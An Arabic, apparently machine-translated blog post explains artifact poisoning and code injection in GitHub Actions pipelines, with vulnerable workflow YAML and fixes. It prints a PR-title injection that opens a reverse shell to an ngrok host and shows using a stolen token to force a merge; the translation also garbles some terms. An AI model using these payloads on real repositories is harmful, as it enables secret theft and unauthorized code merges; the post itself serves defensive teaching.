في المشاركات السابقة (انظر التسمم غير المباشر Pipeline تنفيذ I-PPE و تسمم Pipeline تنفيذ معدات الوقاية الشخصية ، لقد تعاملنا بشكل أساسي مع معدات الوقاية الشخصية (المسمومة Pipeline التنفيذ): رأينا كيفية عمله وآثاره وبعض الاستغلال وكذلك بعض طرق الحماية منه.
تتعمق هذه التدوينة في بعض الأمور الأخرى CI/CD pipeline نقاط الضعف مثل التسمم الأثري وحقن الكود.
للقيام بذلك، سنعتمد بطريقة ما على معدات الوقاية الشخصية، لذا دعونا نلخص سريعًا ما رأيناه حول معدات الوقاية الشخصية.
العمل السابق على معدات الوقاية الشخصية
للتلخيص، بدأنا باستخدام GitHub الأساسي pipeline لبناء واختبار الكود المساهم به من خلال pull requestبالإضافة إلى ذلك، فهو يحدد بعض الاختبارات التي إذا تم استيفاؤها، فسوف يتم دمج الكود في الفرع الرئيسي. وقد أطلقنا على هذا اسم السيناريو #1.
في مقالتنا السابقة، أظهرنا كيف أن هذا أساسي pipeline وكان عرضة لكل من D-PPE وI-PPE.
تمكنا من ذلك إصلاح D-PPE by تعديل حدث الزناد من طلب سحب إلى pull_request_target، جعل pipeline آمن لـ D-PPE. للتذكير، pipelineسيتم تشغيله في حدث pull_request_target وسيتم تنفيذ القاعدة pipeline الكود وليس pipeline الكود الموجود في pull request.
لقد أطلقنا على هذا اسم السيناريو #2.
ونتيجة لهذا التعديل، أثبتنا ذلك كان السيناريو رقم 2 لا يزال عرضة لـ I-PPE.
لإصلاحه، قررنا لتقسيم pipeline إلى قسمين:
- و1st pipeline (بناء سي آي) سيكون الخروج من رمز العلاقات العامة (لبنائه)، قم ببناء وإنشاء قطعة أثرية.
- و 2nd pipeline (اختبار سي) سيكون قم بالخروج من الكود الأساسي (لتجنب تعديل البرنامج النصي لـ Shell) وتنفيذ النصوص الأصلية ضد القطعة الأثرية.
- لمزامنة اختبار CI pipeline للتشغيل بعد Build CI pipeline، سوف نستخدم Workflow_run اثار.
لقد أطلقنا على هذا اسم السيناريو #3.
دعونا نستعيد رمز كليهما pipelineوفقا لهذه التعديلات…
أول pipeline (بناء CI):
name: Build CI
on:
pull_request_target:
branches: [ main ]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
prt_build_and_upload:
runs-on: ubuntu-latest
steps:
- name: Checking out PR code
uses: actions/checkout@v4
if: ${{ github.event_name == 'pull_request_target' }}
with:
# This is to get the PR code instead of the repo code
ref: ${{ github.event.pull_request.head.sha }}
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
# Upload the binary as a pipeline artifact
- name: Archive building artifacts
uses: actions/upload-artifact@v3
with:
name: archive-bin
path: |
bin
الثاني pipeline (اختبار سي):
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
GITHUB_PAT: ${{ secrets.GH_PAT }}
jobs:
deploy:
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
# By default, checks out base code (not PR code)
- name: Checkout repository
uses: actions/checkout@v4
# Download the artifact
- name: 'Download artifact'
uses: actions/github-script@v6
with:
script: |
let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
owner: context.repo.owner,
repo: context.repo.repo,
run_id: context.payload.workflow_run.id,
});
let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
return artifact.name == "archive-bin"
})[0];
let download = await github.rest.actions.downloadArtifact({
owner: context.repo.owner,
repo: context.repo.repo,
artifact_id: matchArtifact.id,
archive_format: 'zip',
});
let fs = require('fs');
fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
#
# For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
#
- name: pr_check_conditions_to_merge
id: check_pr
run: |
echo "check_conditions_to_merge"
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
echo "merge=false" >> $GITHUB_OUTPUT
- name: pr_merge_pr_false
if: steps.check_pr.outputs.merge == 'false'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions NOT MEET!!!"
- name: pr_merge_pr_true
if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
run: |
echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
echo "Merge conditions successfully MEET!!!"
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
التسمم بالقطع الأثرية
وفقا لما ورد أعلاه CI/CD pipelines:
- pipeline بناء سي آي is خزنة على كل D- معدات الوقاية الشخصية (بسبب pull_request_target) و معدات الوقاية الشخصية (لأنه لم يعد ينفذ البرنامج النصي Shell).
- pipeline اختبار سي هو أيضا خزنة على كل D- معدات الوقاية الشخصية (بسبب Workflow_run) و معدات الوقاية الشخصية (لأنه يقوم بالتحقق من الكود الأساسي للحصول على نص شل الأصلي)
دعونا نتعمق في هذا "الحل".
Pipeline اختبار سي يقوم بتنزيل القطعة الأثرية كملف مضغوط.
# Unzip the artifact
- name: 'Unzip artifact'
run: |
unzip -o myartifact.zip
# Runs tests
- name: Running tests ...
id : run_tests
run: |
echo Running tests..
chmod +x runtests.sh
./runtests.sh
echo Tests executed.
بمجرد فك ضغطه، فإنه ينفذ برنامج الصدفة "الآمن". لماذا أقول نص الصدفة "الآمن"؟ لأنه في الخطوة السابقة، pipeline يقوم بفحص الكود "الأساسي"، بحيث يتم وضع البرنامج النصي الأصلي في مجلد مساحة العمل. لذلك، عندما pipeline ينفذ البرنامج النصي Shell الذي سيتم تشغيله باستخدام الملف الثنائي الذي تم تنزيله مسبقًا.
ثم ما هو ملف مشكلة مع هذا النهج؟ تأتي المشكلة عندما يقوم أي مستخدم "بإنشاء" ملف جديد pipeline.
إذا قام المستخدم بفتح PR يحتوي على ملف جديد pipelineسيقوم GitHub بتنفيذ ذلك pipeline (مع مراعاة بعض الشروط كما رأينا في السابق عن أهمية خطة العمل وتحديد أهداف مشروعك.).
ونظرا لهذا، ماذا لو قام المستخدم بإنشاء ملف جديد pipeline بنفس اسم Build CI؟ نعم إنه أمر يثير الدهشة، ولكن يتيح لك GitHub إنشاء اثنين pipelineس بنفس الاسم!!
تذكر أنه سيتم تنفيذ اختبار CI بعد إنشاء CI...
name: Test CI
on:
workflow_run:
workflows: [ 'Build CI' ]
types: [completed]
والمثير للدهشة، لأنه يوجد الآن اثنان pipelineمع نفس الاسم، pipeline سيتم تنفيذ اختبار CI مرتين: واحد بعد الأصل pipeline وأخرى بعد "الجديد" pipeline.
فكيف يمكن للهاكر الاستفادة من هذا؟
- أولاً، يمكن للمستخدم الضار تعديل البرنامج النصي shell لإرسال السر إلى الخادم الذي يتحكم فيه المتسللون.
- ثانيا الجديد pipeline يتضمن سطرًا لنسخ البرنامج النصي المعدل إلى القطعة الأثرية → تسمم الارتيفاط م !!!
عندما يفتح المستخدم PR مع هذه التغييرات، فإن "الجديد" pipeline سيتم تنفيذه (تحميل قطعة أثرية مسمومة) ونشر CI pipeline سيتم تنفيذه بعد ذلك، مما يؤدي إلى يقوم نص الصدفة "المعدل" بالكتابة فوق نص الصدفة "الأصلي" الموجود في ملف pipeline مساحة العمل.
هذا ما نسميه التسمم بالقطع الأثريةأي القدرة على تعديل (الإختراق) pipeline المنطق من خلال تعديل أ pipeline قطعة أثرية.
واحد ممكن معالجة واضح تمامًا: مجرد فك ضغط القطعة الأثرية إلى مجلد فرعي لمساحة العمل من شأنه أن يتجنب الكتابة فوق نص الصدفة "الأساسي"..
حقن الرمز
إلى جانب التسمم بالقطع الأثرية، هل يمكنك رؤية أي ثغرة أمنية أخرى في الكود أعلاه؟
دعنا نذهب!!
كما ترون في الكود، pipeline يبني Build CI الملف الثنائي، ويقوم بتحميل الملف الثنائي كملف pipeline قطعة أثرية، بالإضافة إلى أنها تقوم بتحميل بعض البيانات الإضافية: عنوان العلاقات العامة ومعرف العلاقات العامة.
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
لماذا؟ لأنه لدمج العلاقات العامة، كما ترون أدناه، اختبار CI pipeline يحتاج إلى معرف العلاقات العامة لاستدعاء GitHub REST API الذي يدمج العلاقات العامة.
كيف يتم اختبار CI pipeline الحصول على معرف العلاقات العامة؟ مشاركة المعلومات في الملفات النصية (جزء من ملف pipeline قطعة أثرية) هي طريقة شائعة لمشاركة المعلومات بين pipelineس. وهذا هو بالضبط ما هؤلاء pipelineيفعلون.
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
بالمعنى الدقيق للكلمة، هناك حاجة فقط إلى معرف العلاقات العامة لدمج العلاقات العامة، ولكن pipeline قرر المشرف أن يتضمن Build CI أيضًا عنوان PR لذلك فإن Test CI pipeline سيتم طباعة بعض رسائل المعلومات التي تحتوي على معرف العلاقات العامة والعنوان.
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
name: Test CI
[...]
PR_ID=$(<PR_ID.txt)
PR_TITLE=$(<PR_TITLE.txt)
echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
عنوان العلاقات العامة هو دائمًا بيانات تأتي من المستخدم، وعلى هذا النحو، يجب دائمًا اعتبارها غير موثوقة. لذلك pipeline يجب التعامل مع هذا الأمر واتخاذ تدابير وقائية.
في الكود أعلاه، يمكننا رؤية الرسالة المحددة التي تردد عنوان العلاقات العامة. إنه مجرد أمر "صدى" لينكس.
من خلال استيفاء السلسلة، إذا كان العنوان "عنوانًا وهميًا"، يقوم Github بإنشاء نص داخلي يحتوي على
echo ""a dummy title""
ولكن، ماذا لو كان عنوان العلاقات العامة سيكون مثل:
عنوان ضار” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "سيصبح البرنامج النصي:
echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""
مما يؤدي إلى فتح غلاف عكسي ضد الخادم الذي يتحكم فيه المتسللون.
يمكن استخدام هذا الغلاف العكسي للوصول إلى pipeline الأسرار (تذكر أن اختبار CI يعمل في وضع الامتياز لأنه يتم تشغيله بواسطة Workflow_run حتى يتمكن من الوصول إلى الأسرار).
ولكن، ما الذي يمكن فعله أيضًا من خلال تلك الصدفة العكسية؟
انظر إلى رمز اختبار CI:
env:
GITHUB_PAT: ${{ secrets.GH_PAT }}
[...]
echo "Merging .."
PR_ID=$(<PR_ID.txt)
curl -L \
-X PUT \
-H "Accept: application/vnd.github+json" \
-H "Authorization: Bearer $GITHUB_PAT" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
-d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
كما ترون في اختبار CI pipeline، فإن أمر curly merge يستخدم GITHUB_PAT (المعرّف كـ an pipeline env var)، لذلك يحتوي العداء على GITHUB_PAT كمتغير بيئة. علاوة على ذلك، فإنه يقوم أيضًا بإنشاء env var لقراءة معرف العلاقات العامة.
لذلك يحتاج المتسلل فقط إلى نسخ أمر الضفيرة ولصقه في الغلاف العكسي، ودمج العلاقات العامة مباشرة في الفرع المحمي.
وللحماية من كل هذا:
- إلى تجنب استيفاء السلسلة مع بيانات غير موثوقة (عرضة لـ حقن الكود) بواسطة تحديد pipeline env var بدلاً من استخدامه مباشرة في أوامر الصدى
بدلا من استخدام:
name: Build CI
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
استخدم هذا:
- name: Building ...
run: |
mkdir ./bin
touch ./bin/mybin.exe
# Save some PR info for later use by the 2nd pipeline
echo "$PR_TITLE" > ./bin/PR_TITLE.txt
echo "${{github.event.number}}" > ./bin/PR_ID.txt
env:
PR_TITLE: ${{github.event.pull_request.title}}
- حتى مع استغلال حقن التعليمات البرمجية، لم يكن أمر دمج الضفائر لينجح إذا قمت بذلك بشكل صحيح لقد قمت بحماية pull requests من خلال بعض المراجعة أو الموافقة الإلزامية.
استنتاجات
من الصعب إلى حد ما حماية CI/CD pipelineالتكوين والحصول على pipelineخالية من نقاط الضعف.
هذا لا يعني ذلك CI/CD الأنظمة (مثل GitHub في هذه الحالة) معرضة للخطر في حد ذاتها. CI/CD توفر الأنظمة الوسائل اللازمة للحماية من الثغرات الأمنية ... ولكن تقع على عاتق المسؤول مسؤولية تنفيذ تلك الحماية.
لكن… لا يمكنك حل الثغرة إلا إذا كنت على علم بوجودها !!!
بالطبع، قد يكون لدى مسؤول DevOps ذو المهارات العالية كل هذه التهديدات في الاعتبار ويحميها بشكل صحيح CI/CD pipelineولكن، مع ذلك، من المهم للغاية استخدام منتج للكشف عن جميع هذه الأنواع من الثغرات. وبالطبع، أتمتة عملية اكتشاف هذه الثغرات (على سبيل المثال، تشغيل الفحص كجزء من CI/CD pipelineق).
يمكن أن يسمى هذا النهج "بوابة الأمن"
- إنشاء جديد pipeline (بوابة أمنية) للتحقق من CI/CD pipelineنقاط الضعف وإجراء CI الأخرى pipelineلا يتم تنفيذه إلا عند الانتهاء بنجاح من البوابة الأمنية pipeline.
- بوابة الأمن pipelineسوف يتحقق من ذلك CI/CD pipelineنقاط الضعف و،
- إذا تم العثور على الثغرات الأمنية، فسوف تفشل، وبالتالي، الآخر pipelineلن يتم تنفيذ s.
- إذا لم يتم العثور على أي ثغرات، فسيتم pipeline سوف تنجح والآخر pipelineسيتم تنفيذ الأمر s كالمعتاد.





